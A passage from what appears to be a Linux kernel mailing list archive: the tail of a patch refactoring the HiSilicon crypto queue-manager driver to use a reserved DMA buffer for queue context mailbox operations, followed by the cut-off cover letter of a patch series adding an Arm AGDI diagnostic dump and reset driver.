6) & 0x1) +#define QM_SQ_TAIL_IDX(sqc) ((le16_to_cpu((sqc).w11) >> 6) & 0x1) /* cqc shift */ #define QM_CQ_HOP_NUM_SHIFT 0 @@ -64,7 +64,7 @@ #define QM_QC_CQE_SIZE 4 -#define QM_CQ_TAIL_IDX(cqc) ((le16_to_cpu((cqc)->w11) >> 6) & 0x1) +#define QM_CQ_TAIL_IDX(cqc) ((le16_to_cpu((cqc).w11) >> 6) & 0x1) /* eqc shift */ #define QM_EQE_AEQE_SIZE (2UL << 12) @@ -217,19 +217,6 @@ #define QM_MK_SQC_DW3_V2(sqe_sz) \ ((QM_Q_DEPTH - 1) | ((u32)ilog2(sqe_sz) << QM_SQ_SQE_SIZE_SHIFT)) -#define INIT_QC_COMMON(qc, base, pasid) do { \ - (qc)->head = 0; \ - (qc)->tail = 0; \ - (qc)->base_l = cpu_to_le32(lower_32_bits(base)); \ - (qc)->base_h = cpu_to_le32(upper_32_bits(base)); \ - (qc)->dw3 = 0; \ - (qc)->w8 = 0; \ - (qc)->rsvd0 = 0; \ - (qc)->pasid = cpu_to_le16(pasid); \ - (qc)->w11 = 0; \ - (qc)->rsvd1 = 0; \ -} while (0) - #define QMC_ALIGN(sz) ALIGN(sz, 32) static int __hisi_qm_start(struct hisi_qm *qm); @@ -537,6 +524,61 @@ static int hisi_qm_mb_read(struct hisi_qm *qm, u64 *base, u8 cmd, u16 queue) return 0; } +/* op 0: set xqc info to hardware, 1: get xqc info from hardware. */ +static int qm_set_and_get_xqc(struct hisi_qm *qm, u8 cmd, void *xqc, u32 qp_id, + bool op) +{ + struct hisi_qm *pf_qm = pci_get_drvdata(pci_physfn(qm->pdev)); + struct qm_mailbox mailbox; + dma_addr_t xqc_dma; + void *tmp_xqc; + size_t size; + int ret; + + switch (cmd) { + case QM_MB_CMD_SQC: + size = sizeof(struct qm_sqc); + tmp_xqc = qm->xqc_buf.sqc; + xqc_dma = qm->xqc_buf.sqc_dma; + break; + case QM_MB_CMD_CQC: + size = sizeof(struct qm_cqc); + tmp_xqc = qm->xqc_buf.cqc; + xqc_dma = qm->xqc_buf.cqc_dma; + break; + case QM_MB_CMD_EQC: + size = sizeof(struct qm_eqc); + tmp_xqc = qm->xqc_buf.eqc; + xqc_dma = qm->xqc_buf.eqc_dma; + break; + case QM_MB_CMD_AEQC: + size = sizeof(struct qm_aeqc); + tmp_xqc = qm->xqc_buf.aeqc; + xqc_dma = qm->xqc_buf.aeqc_dma; + break; + } + + /* No need to judge if master OOO is blocked. */ + if (qm_check_dev_error(pf_qm)) { + dev_err(&qm->pdev->dev, + "QM mailbox operation failed since qm is stop!\n"); + return -EIO; + } + + mutex_lock(&qm->mailbox_lock); + if (!op) + memcpy(tmp_xqc, xqc, size); + + qm_mb_pre_init(&mailbox, cmd, xqc_dma, qp_id, op); + ret = qm_mb_nolock(qm, &mailbox); + if (!ret && op) + memcpy(xqc, tmp_xqc, size); + + mutex_unlock(&qm->mailbox_lock); + + return ret; +} + static void qm_db_v1(struct hisi_qm *qm, u16 qn, u8 cmd, u16 index, u8 priority) { u64 doorbell; @@ -1166,35 +1208,6 @@ static ssize_t qm_cmd_read(struct file *filp, char __user *buffer, return (*pos = len); } -static void *qm_ctx_alloc(struct hisi_qm *qm, size_t ctx_size, - dma_addr_t *dma_addr) -{ - struct device *dev = &qm->pdev->dev; - void *ctx_addr; - - ctx_addr = kzalloc(ctx_size, GFP_KERNEL); - if (!ctx_addr) - return ERR_PTR(-ENOMEM); - - *dma_addr = dma_map_single(dev, ctx_addr, ctx_size, DMA_FROM_DEVICE); - if (dma_mapping_error(dev, *dma_addr)) { - dev_err(dev, "DMA mapping error!\n"); - kfree(ctx_addr); - return ERR_PTR(-ENOMEM); - } - - return ctx_addr; -} - -static void qm_ctx_free(struct hisi_qm *qm, size_t ctx_size, - const void *ctx_addr, dma_addr_t *dma_addr) -{ - struct device *dev = &qm->pdev->dev; - - dma_unmap_single(dev, *dma_addr, ctx_size, DMA_FROM_DEVICE); - kfree(ctx_addr); -} - static int dump_show(struct hisi_qm *qm, void *info, unsigned int info_size, char *info_name) { @@ -1205,8 +1218,10 @@ static int dump_show(struct hisi_qm *qm, void *info, #define BYTE_PER_DW 4 info_buf = kzalloc(info_size, GFP_KERNEL); - if (!info_buf) + if (!info_buf) { + dev_err(dev, "Fail to alloc dump info buf\n"); return -ENOMEM; + } for (i = 0; i < info_size; i++, info_curr++) { if (i % BYTE_PER_DW == 0) @@ -1230,21 +1245,11 @@ static int dump_show(struct hisi_qm *qm, void *info, return 0; } -static int qm_dump_sqc_raw(struct hisi_qm *qm, dma_addr_t dma_addr, u16 qp_id) -{ - return hisi_qm_mb_write(qm, QM_MB_CMD_SQC, dma_addr, qp_id, 1); -} - -static int qm_dump_cqc_raw(struct hisi_qm *qm, dma_addr_t dma_addr, u16 qp_id) -{ - return hisi_qm_mb_write(qm, QM_MB_CMD_CQC, dma_addr, qp_id, 1); -} - static int qm_sqc_dump(struct hisi_qm *qm, const char *s) { struct device *dev = &qm->pdev->dev; - struct qm_sqc *sqc, *sqc_curr; - dma_addr_t sqc_dma; + struct qm_sqc *sqc_curr; + struct qm_sqc sqc; u32 qp_id; int ret; @@ -1257,40 +1262,28 @@ static int qm_sqc_dump(struct hisi_qm *qm, const char *s) return -EINVAL; } - sqc = qm_ctx_alloc(qm, sizeof(struct qm_sqc), &sqc_dma); - if (IS_ERR(sqc)) - return PTR_ERR(sqc); - - ret = qm_dump_sqc_raw(qm, sqc_dma, qp_id); - if (ret) { - down_read(&qm->qps_lock); - if (qm->sqc) { - sqc_curr = qm->sqc + qp_id; - - ret = dump_show(qm, sqc_curr, sizeof(struct qm_sqc), - "SOFT SQC"); - if (ret) - dev_info(dev, "Show soft sqc failed!\n"); - } - up_read(&qm->qps_lock); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_SQC, &sqc, qp_id, 1); + if (!ret) + return dump_show(qm, &sqc, sizeof(struct qm_sqc), "SQC"); - goto mailbox_fail; + down_read(&qm->qps_lock); + if (qm->sqc) { + sqc_curr = qm->sqc + qp_id; + ret = dump_show(qm, sqc_curr, sizeof(struct qm_sqc), + "SOFT SQC"); + if (ret) + dev_info(dev, "Show soft sqc failed!\n"); } + up_read(&qm->qps_lock); - ret = dump_show(qm, sqc, sizeof(struct qm_sqc), "SQC"); - if (ret) - dev_info(dev, "Show hw sqc failed!\n"); - -mailbox_fail: - qm_ctx_free(qm, sizeof(struct qm_sqc), sqc, &sqc_dma); return ret; } static int qm_cqc_dump(struct hisi_qm *qm, const char *s) { struct device *dev = &qm->pdev->dev; - struct qm_cqc *cqc, *cqc_curr; - dma_addr_t cqc_dma; + struct qm_cqc *cqc_curr; + struct qm_cqc cqc; u32 qp_id; int ret; @@ -1303,40 +1296,28 @@ static int qm_cqc_dump(struct hisi_qm *qm, const char *s) return -EINVAL; } - cqc = qm_ctx_alloc(qm, sizeof(struct qm_cqc), &cqc_dma); - if (IS_ERR(cqc)) - return PTR_ERR(cqc); - - ret = qm_dump_cqc_raw(qm, cqc_dma, qp_id); - if (ret) { - down_read(&qm->qps_lock); - if (qm->cqc) { - cqc_curr = qm->cqc + qp_id; + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_CQC, &cqc, qp_id, 1); + if (!ret) + return dump_show(qm, &cqc, sizeof(struct qm_cqc), "CQC"); - ret = dump_show(qm, cqc_curr, sizeof(struct qm_cqc), - "SOFT CQC"); - if (ret) - dev_info(dev, "Show soft cqc failed!\n"); - } - up_read(&qm->qps_lock); + down_read(&qm->qps_lock); + if (qm->cqc) { + cqc_curr = qm->cqc + qp_id; - goto mailbox_fail; + ret = dump_show(qm, cqc_curr, sizeof(struct qm_cqc), + "SOFT CQC"); + if (ret) + dev_info(dev, "Show soft cqc failed!\n"); } + up_read(&qm->qps_lock); - ret = dump_show(qm, cqc, sizeof(struct qm_cqc), "CQC"); - if (ret) - dev_info(dev, "Show hw cqc failed!\n"); - -mailbox_fail: - qm_ctx_free(qm, sizeof(struct qm_cqc), cqc, &cqc_dma); return ret; } static int qm_eqc_dump(struct hisi_qm *qm, char *s) { struct device *dev = &qm->pdev->dev; - struct qm_eqc *eqc; - dma_addr_t eqc_dma; + struct qm_eqc eqc; int ret; if (strsep(&s, " ")) { @@ -1344,28 +1325,17 @@ static int qm_eqc_dump(struct hisi_qm *qm, char *s) return -EINVAL; } - eqc = qm_ctx_alloc(qm, sizeof(struct qm_eqc), &eqc_dma); - if (IS_ERR(eqc)) - return PTR_ERR(eqc); - - ret = hisi_qm_mb_write(qm, QM_MB_CMD_EQC, eqc_dma, 0, 1); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_EQC, &eqc, 0, 1); if (ret) - goto mailbox_fail; - - ret = dump_show(qm, eqc, sizeof(struct qm_eqc), "EQC"); - if (ret) - dev_info(dev, "Show eqc failed!\n"); + return ret; -mailbox_fail: - qm_ctx_free(qm, sizeof(struct qm_eqc), eqc, &eqc_dma); - return ret; + return dump_show(qm, &eqc, sizeof(struct qm_eqc), "EQC"); } static int qm_aeqc_dump(struct hisi_qm *qm, char *s) { struct device *dev = &qm->pdev->dev; - struct qm_aeqc *aeqc; - dma_addr_t aeqc_dma; + struct qm_aeqc aeqc; int ret; if (strsep(&s, " ")) { @@ -1373,21 +1343,11 @@ static int qm_aeqc_dump(struct hisi_qm *qm, char *s) return -EINVAL; } - aeqc = qm_ctx_alloc(qm, sizeof(struct qm_aeqc), &aeqc_dma); - if (IS_ERR(aeqc)) - return PTR_ERR(aeqc); - - ret = hisi_qm_mb_write(qm, QM_MB_CMD_AEQC, aeqc_dma, 0, 1); - if (ret) - goto mailbox_fail; - - ret = dump_show(qm, aeqc, sizeof(struct qm_aeqc), "AEQC"); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_AEQC, &aeqc, 0, 1); if (ret) - dev_info(dev, "Show hw aeqc failed!\n"); + return ret; -mailbox_fail: - qm_ctx_free(qm, sizeof(struct qm_aeqc), aeqc, &aeqc_dma); - return ret; + return dump_show(qm, &aeqc, sizeof(struct qm_aeqc), "AEQC"); } static int q_dump_param_parse(struct hisi_qm *qm, char *s, @@ -1432,7 +1392,6 @@ static int q_dump_param_parse(struct hisi_qm *qm, char *s, static int qm_sq_dump(struct hisi_qm *qm, char *s) { - struct device *dev = &qm->pdev->dev; struct hisi_qp *qp; u32 qp_id, sqe_id; void *sqe_curr; @@ -1447,16 +1406,11 @@ static int qm_sq_dump(struct hisi_qm *qm, char *s) memset(sqe_curr + qm->debug.sqe_mask_offset, SQE_ADDR_MASK, qm->debug.sqe_mask_len); - ret = dump_show(qm, sqe_curr, qm->sqe_size, "SQE"); - if (ret) - dev_info(dev, "Show sqe failed!\n"); - - return ret; + return dump_show(qm, sqe_curr, qm->sqe_size, "SQE"); } static int qm_cq_dump(struct hisi_qm *qm, char *s) { - struct device *dev = &qm->pdev->dev; struct qm_cqe *cqe_curr; struct hisi_qp *qp; u32 qp_id, cqe_id; @@ -1468,11 +1422,8 @@ static int qm_cq_dump(struct hisi_qm *qm, char *s) qp = &qm->qp_array[qp_id]; cqe_curr = qp->cqe + cqe_id; - ret = dump_show(qm, cqe_curr, sizeof(struct qm_cqe), "CQE"); - if (ret) - dev_info(dev, "Show cqe failed!\n"); - return ret; + return dump_show(qm, cqe_curr, sizeof(struct qm_cqe), "CQE"); } static int qm_eq_dump(struct hisi_qm *qm, const char *s) @@ -1895,79 +1846,46 @@ EXPORT_SYMBOL_GPL(hisi_qm_release_qp); static int qm_sq_ctx_cfg(struct hisi_qp *qp, int qp_id, int pasid) { struct hisi_qm *qm = qp->qm; - struct device *dev = &qm->pdev->dev; enum qm_hw_ver ver = qm->ver; - struct qm_sqc *sqc; - dma_addr_t sqc_dma; - int ret; + struct qm_sqc sqc = {0}; - sqc = kzalloc(sizeof(struct qm_sqc), GFP_KERNEL); - if (!sqc) - return -ENOMEM; - sqc_dma = dma_map_single(dev, sqc, sizeof(struct qm_sqc), - DMA_TO_DEVICE); - if (dma_mapping_error(dev, sqc_dma)) { - kfree(sqc); - return -ENOMEM; - } - - INIT_QC_COMMON(sqc, qp->sqe_dma, pasid); if (ver == QM_HW_V1) { - sqc->dw3 = cpu_to_le32(QM_MK_SQC_DW3_V1(0, 0, 0, qm->sqe_size)); - sqc->w8 = cpu_to_le16(QM_Q_DEPTH - 1); + sqc.dw3 = cpu_to_le32(QM_MK_SQC_DW3_V1(0, 0, 0, qm->sqe_size)); + sqc.w8 = cpu_to_le16(QM_Q_DEPTH - 1); } else if (ver == QM_HW_V2) { - sqc->dw3 = cpu_to_le32(QM_MK_SQC_DW3_V2(qm->sqe_size)); - sqc->w8 = 0; /* rand_qc */ + sqc.dw3 = cpu_to_le32(QM_MK_SQC_DW3_V2(qm->sqe_size)); + sqc.w8 = 0; /* rand_qc */ } - sqc->cq_num = cpu_to_le16(qp_id); - sqc->w13 = cpu_to_le16(QM_MK_SQC_W13(0, 1, qp->alg_type)); - - ret = hisi_qm_mb_write(qm, QM_MB_CMD_SQC, sqc_dma, qp_id, 0); + sqc.cq_num = cpu_to_le16(qp_id); + sqc.w13 = cpu_to_le16(QM_MK_SQC_W13(0, 1, qp->alg_type)); + sqc.base_l = cpu_to_le32(lower_32_bits(qp->sqe_dma)); + sqc.base_h = cpu_to_le32(upper_32_bits(qp->sqe_dma)); + sqc.pasid = cpu_to_le16(pasid); - dma_unmap_single(dev, sqc_dma, sizeof(struct qm_sqc), DMA_TO_DEVICE); - kfree(sqc); - - return ret; + return qm_set_and_get_xqc(qm, QM_MB_CMD_SQC, &sqc, qp_id, 0); } static int qm_cq_ctx_cfg(struct hisi_qp *qp, int qp_id, int pasid) { struct hisi_qm *qm = qp->qm; - struct device *dev = &qm->pdev->dev; enum qm_hw_ver ver = qm->ver; - struct qm_cqc *cqc; - dma_addr_t cqc_dma; - int ret; - - cqc = kzalloc(sizeof(struct qm_cqc), GFP_KERNEL); - if (!cqc) - return -ENOMEM; - - cqc_dma = dma_map_single(dev, cqc, sizeof(struct qm_cqc), - DMA_TO_DEVICE); - if (dma_mapping_error(dev, cqc_dma)) { - kfree(cqc); - return -ENOMEM; - } + struct qm_cqc cqc = {0}; - INIT_QC_COMMON(cqc, qp->cqe_dma, pasid); if (ver == QM_HW_V1) { - cqc->dw3 = cpu_to_le32(QM_MK_CQC_DW3_V1(0, 0, 0, + cqc.dw3 = cpu_to_le32(QM_MK_CQC_DW3_V1(0, 0, 0, QM_QC_CQE_SIZE)); - cqc->w8 = cpu_to_le16(QM_Q_DEPTH - 1); + cqc.w8 = cpu_to_le16(QM_Q_DEPTH - 1); } else if (ver == QM_HW_V2) { - cqc->dw3 = cpu_to_le32(QM_MK_CQC_DW3_V2(QM_QC_CQE_SIZE)); - cqc->w8 = 0; /* rand_qc */ + cqc.dw3 = cpu_to_le32(QM_MK_CQC_DW3_V2(QM_QC_CQE_SIZE)); + cqc.w8 = 0; /* rand_qc */ } - cqc->dw6 = cpu_to_le32(1 << QM_CQ_PHASE_SHIFT | - qp->c_flag << QM_CQ_FLAG_SHIFT); + cqc.dw6 = cpu_to_le32(1 << QM_CQ_PHASE_SHIFT | + qp->c_flag << QM_CQ_FLAG_SHIFT); + cqc.base_l = cpu_to_le32(lower_32_bits(qp->cqe_dma)); + cqc.base_h = cpu_to_le32(upper_32_bits(qp->cqe_dma)); + cqc.pasid = cpu_to_le16(pasid); - ret = hisi_qm_mb_write(qm, QM_MB_CMD_CQC, cqc_dma, qp_id, 0); - - dma_unmap_single(dev, cqc_dma, sizeof(struct qm_cqc), DMA_TO_DEVICE); - kfree(cqc); - - return ret; + return qm_set_and_get_xqc(qm, QM_MB_CMD_CQC, &cqc, qp_id, 0); } static int qm_qp_ctx_cfg(struct hisi_qp *qp, int qp_id, int pasid) @@ -2043,54 +1961,40 @@ static void qp_stop_fail_cb(struct hisi_qp *qp) static void qm_qp_has_no_task(struct hisi_qp *qp) { - size_t size = sizeof(struct qm_sqc) + sizeof(struct qm_cqc); - struct device *dev = &qp->qm->pdev->dev; - struct qm_sqc *sqc; - struct qm_cqc *cqc; - dma_addr_t dma_addr; - void *addr; - int i = 0; - int ret; + struct hisi_qm *qm = qp->qm; + struct device *dev = &qm->pdev->dev; + struct qm_sqc sqc; + struct qm_cqc cqc; + int ret, i = 0; if (qp->qm->err_ini.err_info.is_qm_ecc_mbit || qp->qm->err_ini.err_info.is_dev_ecc_mbit) return; - addr = qm_ctx_alloc(qp->qm, size, &dma_addr); - if (IS_ERR(addr)) { - dev_err(dev, "alloc ctx for sqc and cqc failed!\n"); - return; - } - while (++i) { - ret = qm_dump_sqc_raw(qp->qm, dma_addr, qp->qp_id); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_SQC, &sqc, qp->qp_id, 1); if (ret) { - dev_err(dev, "Failed to dump sqc!\n"); - break; + dev_err_ratelimited(dev, "Fail to dump sqc!\n"); + return; } - sqc = addr; - ret = qm_dump_cqc_raw(qp->qm, - (dma_addr + sizeof(struct qm_sqc)), qp->qp_id); + ret = qm_set_and_get_xqc(qm, QM_MB_CMD_CQC, &cqc, qp->qp_id, 1); if (ret) { - dev_err(dev, "Failed to dump cqc!\n"); - break; + dev_err_ratelimited(dev, "Fail to dump cqc!\n"); + return; } - cqc = addr + sizeof(struct qm_sqc); - if ((sqc->tail == cqc->tail) && - (QM_SQ_TAIL_IDX(sqc) == QM_CQ_TAIL_IDX(cqc))) - break; + if ((QM_SQ_TAIL_IDX(sqc) == QM_CQ_TAIL_IDX(cqc)) && + (sqc.tail == cqc.tail)) + return; if (i == MAX_WAIT_COUNTS) { - dev_err(dev, "Fail to wait for device stop!\n"); - break; + dev_err(dev, "Fail to empty queue %u!\n", qp->qp_id); + return; } usleep_range(WAIT_PERIOD_US_MIN, WAIT_PERIOD_US_MAX); } - - qm_ctx_free(qp->qm, size, addr, &dma_addr); } static int hisi_qm_stop_qp_nolock(struct hisi_qp *qp) @@ -2597,10 +2501,12 @@ static int hisi_qp_memory_init(struct hisi_qm *qm, size_t dma_size, int id) struct hisi_qp *qp; qp = &qm->qp_array[id]; - qp->qdma.va = dma_alloc_coherent(dev, dma_size, - &qp->qdma.dma, GFP_KERNEL); - if (!qp->qdma.va) + qp->qdma.va = dma_alloc_coherent(dev, dma_size, &qp->qdma.dma, + GFP_KERNEL); + if (!qp->qdma.va) { + dev_err(dev, "Fail to alloc qp dma buf size=%zx\n", dma_size); return -ENOMEM; + } qp->sqe = qp->qdma.va; qp->sqe_dma = qp->qdma.dma; @@ -2613,13 +2519,79 @@ static int hisi_qp_memory_init(struct hisi_qm *qm, size_t dma_size, int id) return 0; } +static int hisi_qp_alloc_memory(struct hisi_qm *qm) +{ + size_t qp_dma_size; + int i, ret; + + qm->qp_array = kcalloc(qm->qp_num, sizeof(struct hisi_qp), GFP_KERNEL); + if (!qm->qp_array) + return -ENOMEM; + + /* one more page for device or qp statuses */ + qp_dma_size = qm->sqe_size * QM_Q_DEPTH + + sizeof(struct cqe) * QM_Q_DEPTH; + qp_dma_size = PAGE_ALIGN(qp_dma_size) + PAGE_SIZE; + for (i = 0; i < qm->qp_num; i++) { + ret = hisi_qp_memory_init(qm, qp_dma_size, i); + if (ret) + goto err_init_qp_mem; + } + + return 0; + +err_init_qp_mem: + hisi_qp_memory_uninit(qm, i); + + return ret; +} + +static void hisi_qm_free_rsv_buf(struct hisi_qm *qm) +{ + struct qm_dma *xqc_dma = &qm->xqc_buf.qcdma; + struct device *dev = &qm->pdev->dev; + + dma_free_coherent(dev, xqc_dma->size, xqc_dma->va, xqc_dma->dma); +} + +static int hisi_qm_alloc_rsv_buf(struct hisi_qm *qm) +{ + struct qm_rsv_buf *xqc_buf = &qm->xqc_buf; + struct qm_dma *xqc_dma = &xqc_buf->qcdma; + struct device *dev = &qm->pdev->dev; + size_t off = 0; + +#define QM_XQC_BUF_INIT(xqc_buf, type) do { \ + (xqc_buf)->type = ((xqc_buf)->qcdma.va + (off)); \ + (xqc_buf)->type##_dma = (xqc_buf)->qcdma.dma + (off); \ + off += QMC_ALIGN(sizeof(struct qm_##type)); \ +} while (0) + + xqc_dma->size = QMC_ALIGN(sizeof(struct qm_eqc)) + + QMC_ALIGN(sizeof(struct qm_aeqc)) + + QMC_ALIGN(sizeof(struct qm_sqc)) + + QMC_ALIGN(sizeof(struct qm_cqc)); + + xqc_dma->va = dma_alloc_coherent(dev, xqc_dma->size, &xqc_dma->dma, + GFP_ATOMIC); + if (!xqc_dma->va) { + dev_err(dev, "Fail to alloc qcdma size=%zx\n", xqc_dma->size); + return -ENOMEM; + } + + QM_XQC_BUF_INIT(xqc_buf, eqc); + QM_XQC_BUF_INIT(xqc_buf, aeqc); + QM_XQC_BUF_INIT(xqc_buf, sqc); + QM_XQC_BUF_INIT(xqc_buf, cqc); + + return 0; +} + static int hisi_qm_memory_init(struct hisi_qm *qm) { struct device *dev = &qm->pdev->dev; - size_t qp_dma_size; + int ret = -ENOMEM; size_t off = 0; - int ret = 0; - int i; #define QM_INIT_BUF(qm, type, num) do { \ (qm)->type = ((qm)->qdma.va + (off)); \ @@ -2635,41 +2607,35 @@ static int hisi_qm_memory_init(struct hisi_qm *qm) QMC_ALIGN(sizeof(struct qm_aeqe) * QM_Q_DEPTH) + QMC_ALIGN(sizeof(struct qm_sqc) * qm->qp_num) + QMC_ALIGN(sizeof(struct qm_cqc) * qm->qp_num); - qm->qdma.va = dma_alloc_coherent(dev, qm->qdma.size, - &qm->qdma.dma, GFP_ATOMIC | __GFP_ZERO); - dev_dbg(dev, "allocate qm dma buf size=%zx)\n", qm->qdma.size); - if (!qm->qdma.va) - return -ENOMEM; + qm->qdma.va = dma_alloc_coherent(dev, qm->qdma.size, &qm->qdma.dma, + GFP_ATOMIC | __GFP_ZERO); + if (!qm->qdma.va) { + dev_err(dev, "Fail to alloc qdma size=%zx\n", qm->qdma.size); + goto err_destroy_idr; + } QM_INIT_BUF(qm, eqe, QM_EQ_DEPTH); QM_INIT_BUF(qm, aeqe, QM_Q_DEPTH); QM_INIT_BUF(qm, sqc, qm->qp_num); QM_INIT_BUF(qm, cqc, qm->qp_num); - qm->qp_array = kcalloc(qm->qp_num, sizeof(struct hisi_qp), GFP_KERNEL); - if (!qm->qp_array) { - ret = -ENOMEM; - goto err_alloc_qp_array; - } + ret = hisi_qm_alloc_rsv_buf(qm); + if (ret) + goto err_free_qdma; - /* one more page for device or qp statuses */ - qp_dma_size = qm->sqe_size * QM_Q_DEPTH + - sizeof(struct cqe) * QM_Q_DEPTH; - qp_dma_size = PAGE_ALIGN(qp_dma_size) + PAGE_SIZE; - for (i = 0; i < qm->qp_num; i++) { - ret = hisi_qp_memory_init(qm, qp_dma_size, i); - if (ret) - goto err_init_qp_mem; + ret = hisi_qp_alloc_memory(qm); + if (ret) + goto err_free_reserve_buf; - dev_dbg(dev, "allocate qp dma buf size=%zx)\n", qp_dma_size); - } + return 0; + +err_free_reserve_buf: + hisi_qm_free_rsv_buf(qm); +err_free_qdma: + dma_free_coherent(dev, qm->qdma.size, qm->qdma.va, qm->qdma.dma); +err_destroy_idr: + idr_destroy(&qm->qp_idr); - return ret; -err_init_qp_mem: - hisi_qp_memory_uninit(qm, i); -err_alloc_qp_array: - dma_free_coherent(dev, qm->qdma.size, - qm->qdma.va, qm->qdma.dma); return ret; } @@ -2861,8 +2827,7 @@ void hisi_qm_uninit(struct hisi_qm *qm) hisi_qp_memory_uninit(qm, qm->qp_num); idr_destroy(&qm->qp_idr); - - /* qm hardware buffer free on put_queue if no dma api */ + hisi_qm_free_rsv_buf(qm); if (qm->qdma.va) { hisi_qm_cache_wb(qm); dma_free_coherent(dev, qm->qdma.size, @@ -2962,59 +2927,26 @@ static void qm_init_eq_aeq_status(struct hisi_qm *qm) static int qm_eq_ctx_cfg(struct hisi_qm *qm) { - struct device *dev = &qm->pdev->dev; - struct qm_eqc *eqc; - dma_addr_t eqc_dma; - int ret; + struct qm_eqc eqc = {0}; - eqc = kzalloc(sizeof(struct qm_eqc), GFP_KERNEL); - if (!eqc) - return -ENOMEM; - eqc_dma = dma_map_single(dev, eqc, sizeof(struct qm_eqc), - DMA_TO_DEVICE); - if (dma_mapping_error(dev, eqc_dma)) { - kfree(eqc); - return -ENOMEM; - } - - eqc->base_l = cpu_to_le32(lower_32_bits(qm->eqe_dma)); - eqc->base_h = cpu_to_le32(upper_32_bits(qm->eqe_dma)); + eqc.base_l = cpu_to_le32(lower_32_bits(qm->eqe_dma)); + eqc.base_h = cpu_to_le32(upper_32_bits(qm->eqe_dma)); if (qm->ver == QM_HW_V1) - eqc->dw3 = cpu_to_le32(QM_EQE_AEQE_SIZE); - eqc->dw6 = cpu_to_le32((QM_EQ_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - ret = hisi_qm_mb_write(qm, QM_MB_CMD_EQC, eqc_dma, 0, 0); - dma_unmap_single(dev, eqc_dma, sizeof(struct qm_eqc), DMA_TO_DEVICE); - kfree(eqc); + eqc.dw3 = cpu_to_le32(QM_EQE_AEQE_SIZE); + eqc.dw6 = cpu_to_le32((QM_EQ_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - return ret; + return qm_set_and_get_xqc(qm, QM_MB_CMD_EQC, &eqc, 0, 0); } static int qm_aeq_ctx_cfg(struct hisi_qm *qm) { - struct device *dev = &qm->pdev->dev; - struct qm_aeqc *aeqc; - dma_addr_t aeqc_dma; - int ret; + struct qm_aeqc aeqc = {0}; - aeqc = kzalloc(sizeof(struct qm_aeqc), GFP_KERNEL); - if (!aeqc) - return -ENOMEM; - aeqc_dma = dma_map_single(dev, aeqc, sizeof(struct qm_aeqc), - DMA_TO_DEVICE); - if (dma_mapping_error(dev, aeqc_dma)) { - kfree(aeqc); - return -ENOMEM; - } + aeqc.base_l = cpu_to_le32(lower_32_bits(qm->aeqe_dma)); + aeqc.base_h = cpu_to_le32(upper_32_bits(qm->aeqe_dma)); + aeqc.dw6 = cpu_to_le32((QM_Q_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - aeqc->base_l = cpu_to_le32(lower_32_bits(qm->aeqe_dma)); - aeqc->base_h = cpu_to_le32(upper_32_bits(qm->aeqe_dma)); - aeqc->dw6 = cpu_to_le32((QM_Q_DEPTH - 1) | (1 << QM_EQC_PHASE_SHIFT)); - ret = hisi_qm_mb_write(qm, QM_MB_CMD_AEQC, aeqc_dma, 0, 0); - - dma_unmap_single(dev, aeqc_dma, sizeof(struct qm_aeqc), DMA_TO_DEVICE); - kfree(aeqc); - - return ret; + return qm_set_and_get_xqc(qm, QM_MB_CMD_AEQC, &aeqc, 0, 0); } static int qm_eq_aeq_ctx_cfg(struct hisi_qm *qm) @@ -3841,10 +3773,8 @@ static int qm_vf_reset_prepare(struct pci_dev *pdev, ret = hisi_qm_stop(qm, stop_reason); if (ret) { - hisi_qm_set_hw_reset(qm, - QM_RESET_STOP_TX_OFFSET); - hisi_qm_set_hw_reset(qm, - QM_RESET_STOP_RX_OFFSET); + hisi_qm_set_hw_reset(qm, QM_RESET_STOP_TX_OFFSET); + hisi_qm_set_hw_reset(qm, QM_RESET_STOP_RX_OFFSET); atomic_set(&qm->status.flags, QM_STOP); } } diff --git a/drivers/crypto/hisilicon/qm.h b/drivers/crypto/hisilicon/qm.h index d7d23d1ec34c..9f5e440d7396 100644 --- a/drivers/crypto/hisilicon/qm.h +++ b/drivers/crypto/hisilicon/qm.h @@ -286,6 +286,18 @@ struct hisi_qm_list { bool (*check)(struct hisi_qm *qm); }; +struct qm_rsv_buf { + struct qm_sqc *sqc; + struct qm_cqc *cqc; + struct qm_eqc *eqc; + struct qm_aeqc *aeqc; + dma_addr_t sqc_dma; + dma_addr_t cqc_dma; + dma_addr_t eqc_dma; + dma_addr_t aeqc_dma; + struct qm_dma qcdma; +}; + struct hisi_qm { enum qm_hw_ver ver; enum qm_fun_type fun_type; @@ -309,6 +321,7 @@ struct hisi_qm { dma_addr_t cqc_dma; dma_addr_t eqe_dma; dma_addr_t aeqe_dma; + struct qm_rsv_buf xqc_buf; struct hisi_qm_status status; struct hisi_qm_err_ini err_ini; -- 2.30.0

2 1

[PATCH OLK-5.10 v4 0/7] AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device
by Qian Zou 06 Nov '23

06 Nov '23

From: “z00447436” <zouqian4(a)huawei.com> Some use-cases, such as system management, require the ability to generate a non-maskable event to the OS to request the OS kernel to perform a diagnostic dump and reset the system. Arm Generic Diagnostic Dump and Reset device enables a maintainer to request OS to perform a diagnostic dump and reset a system via SDEI event or an interrupt. This patch implements SDEI path and discards the interrupted context before proceeding to the crash kernel. D Scott Phillips (1): arm64: sdei: abort running SDEI handlers during crash Ilkka Koskinen (4): ACPI: tables: Add AGDI to the list of known table signatures ACPI: AGDI: Add driver for Arm Generic Diagnostic Dump and Reset device ACPICA: iASL: Add suppport for AGDI table ACPI: AGDI: Fix missing prototype warning for acpi_agdi_init() Jia He (1): EDAC/ghes: Make ghes_edac a proper module Shuai Xue (1): ACPI: APEI: explicit init of HEST and GHES in apci_init() arch/arm64/include/asm/sdei.h | 6 ++ arch/arm64/kernel/entry.S | 27 +++++++- arch/arm64/kernel/sdei.c | 3 + arch/arm64/kernel/smp.c | 8 +-- drivers/acpi/apei/ghes.c | 23 +++---- drivers/acpi/arm64/Kconfig | 10 +++ drivers/acpi/arm64/Makefile | 1 + drivers/acpi/arm64/agdi.c | 117 ++++++++++++++++++++++++++++++++++ drivers/acpi/bus.c | 4 ++ drivers/acpi/pci_root.c | 3 - drivers/acpi/tables.c | 2 +- drivers/edac/Kconfig | 4 +- drivers/edac/ghes_edac.c | 40 +++++++++++- drivers/firmware/Kconfig | 